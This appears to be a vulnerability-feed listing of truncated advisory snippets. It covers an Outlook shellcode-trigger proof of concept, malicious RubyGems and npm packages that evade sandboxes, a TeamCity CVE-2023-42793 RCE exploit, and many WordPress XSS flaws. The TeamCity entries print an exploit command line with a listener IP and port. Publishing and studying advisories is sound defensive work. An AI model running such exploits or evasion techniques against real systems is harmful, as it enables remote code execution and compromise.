BadOutlook

Bad Outlook Outlook 애플리케이션 인터페이스COM 인터페이스를 활용하여 특정 트리거 제목 줄에 따라 시스템에서 셸코드를 실행하는 간단한 PoC입니다. Microsoft.Office.Interop.Outlook 네임스페이스를 사용하면 개발자가 전체 Outlook 애플리케이션을 표현할 수 있습니다적어도 Microsoft에 따르면. 즉, 새 애플리케이션은 이메일 읽기보관함, 휴지통 등 포함부터 발송까지 모든 작업을 수행할 수 있어야 합니다. 수많은 기존 C 셸코드 로더를 기반으로, 트리거 제목 줄과 본문에 base64...

Malicious code in wallet-backup-tool (RubyGems)

RubyGems runs this gem's native extension script ext/wallet-backup-tool/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

CVE-2023-42793

CVE-2023-42793について まず、別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトを使用すると、ペイロードをURLにエンコードしてサーバーに送信するため、LinuxサーバーへのRCEを取得できます。 使用方法 python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

poc-cve-xss-encoded-wp-inventory-manager-plugin

업데이트 - 5/10/2023 CVE-2023-2123 ID가 예약되었으며 PoC는 WPScan 웹사이트에 게시되었습니다: https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1 세부 정보 제목: WordPress CMS용 WP Inventory Manager 플러그인의 인증되지 않은 반사형 XSSReflected Cross-Site Scripting 날짜: 2023-04-15 작성자: Danilo Albuquerque 공급업체 홈페이지:...

CVE-2026-104478 Formwork before 2.3.13 Path Traversal via BackupController Download and Delete

Formwork before 2.3.13 contains a path traversal vulnerability in BackupController that allows authenticated panel users to read or delete arbitrary files. Attackers with backup download or delete permission can supply a base64-encoded backslash-separated traversal payload that bypasses PHP...

PT-2026-104149

Name of the Vulnerable Software and Affected Versions Download Manager versions prior to 3.3.71 Description The Download Manager plugin for WordPress contains a Stored Cross-Site Scripting issue caused by insufficient input sanitization and output escaping. Authenticated users with subscriber-lev...

CVE-2026-100370

The DOMSanitizer library for PHP 7.3+ is vulnerable to an input-validation defect in its isDangerousUrl() method prior to version 1.0.15 . While the sanitizer correctly rejects the "javascript:" scheme, it only rejects the "data:" scheme if the literal substring "onload" is present. This allows a...

CVE-2023-42793

CVE-2023-42793について まず別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトはペイロードをURLにエンコードしてサーバーに送信するため、Linuxサーバー上でRCEを取得できます。 使用方法 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

EUVD-2026-74603

The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'fallback' Shortcode Attribute in all versions up to, and including, 3.8.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attacker...

WordPress SureForms plugin <= 2.12.2 - Unauthenticated Stored Cross-Site Scripting via Text Field Entity-Encoded Payload vulnerability

Unauthenticated Stored Cross-Site Scripting via Text Field Entity-Encoded Payload vulnerability discovered by daroo in WordPress Plugin SureForms versions = 2.12.2...

CVE-2026-18406

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text Field Entity-Encoded Payload in all versions up to, and including, 2.12.2 due to insufficient input sanitization and output escaping. This makes i...

CVE-2026-18406 SureForms <= 2.12.2 - Unauthenticated Stored Cross-Site Scripting via Text Field Entity-Encoded Payload

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text Field Entity-Encoded Payload in all versions up to, and including, 2.12.2 due to insufficient input sanitization and output escaping. This makes i...

CVE-2026-18406 SureForms <= 2.12.2 - Unauthenticated Stored Cross-Site Scripting via Text Field Entity-Encoded Payload

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text Field Entity-Encoded Payload in all versions up to, and including, 2.12.2 due to insufficient input sanitization and output escaping. This makes i...

CVE-2026-18406

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a Text Field Entity-Encoded Payload in all versions up to and including 2.12.2 . The root cause is insufficient input sanitization and output escaping ...

EUVD-2026-71884

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text Field Entity-Encoded Payload in all versions up to, and including, 2.12.2 due to insufficient input sanitization and output escaping. This makes i...

CVE-2026-18406: Improper Neutralization of Input During Web Page Generation

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text Field Entity-Encoded Payload in all versions up to, and including, 2.12.2 due to insufficient input sanitization and output escaping. This makes i...

PT-2026-86322

The SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text Field Entity-Encoded Payload in all versions up to, and including, 2.12.2 due to insufficient input sanitization and output escaping. This makes i...

EUVD-2026-62710

Wekan is open source kanban built with Meteor. From 8.72 until 10.23, addBoardHTMLToZip in client/lib/exportHTML.js read a card title and body through textContent, which decoded entity-encoded markup, and then interpolated titleText and allText into content.innerHTML in the exported index.html. A...

MAL-2026-14199 Malicious code in txs-runner-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector db9d5d94b7f75bbe8bca33eb382bfb986e68b7f0307cad7e9626da103192f254 The package advertises itself as generating random transaction data, but its main API method getTransactions invokes loadtransactiondata, which reads...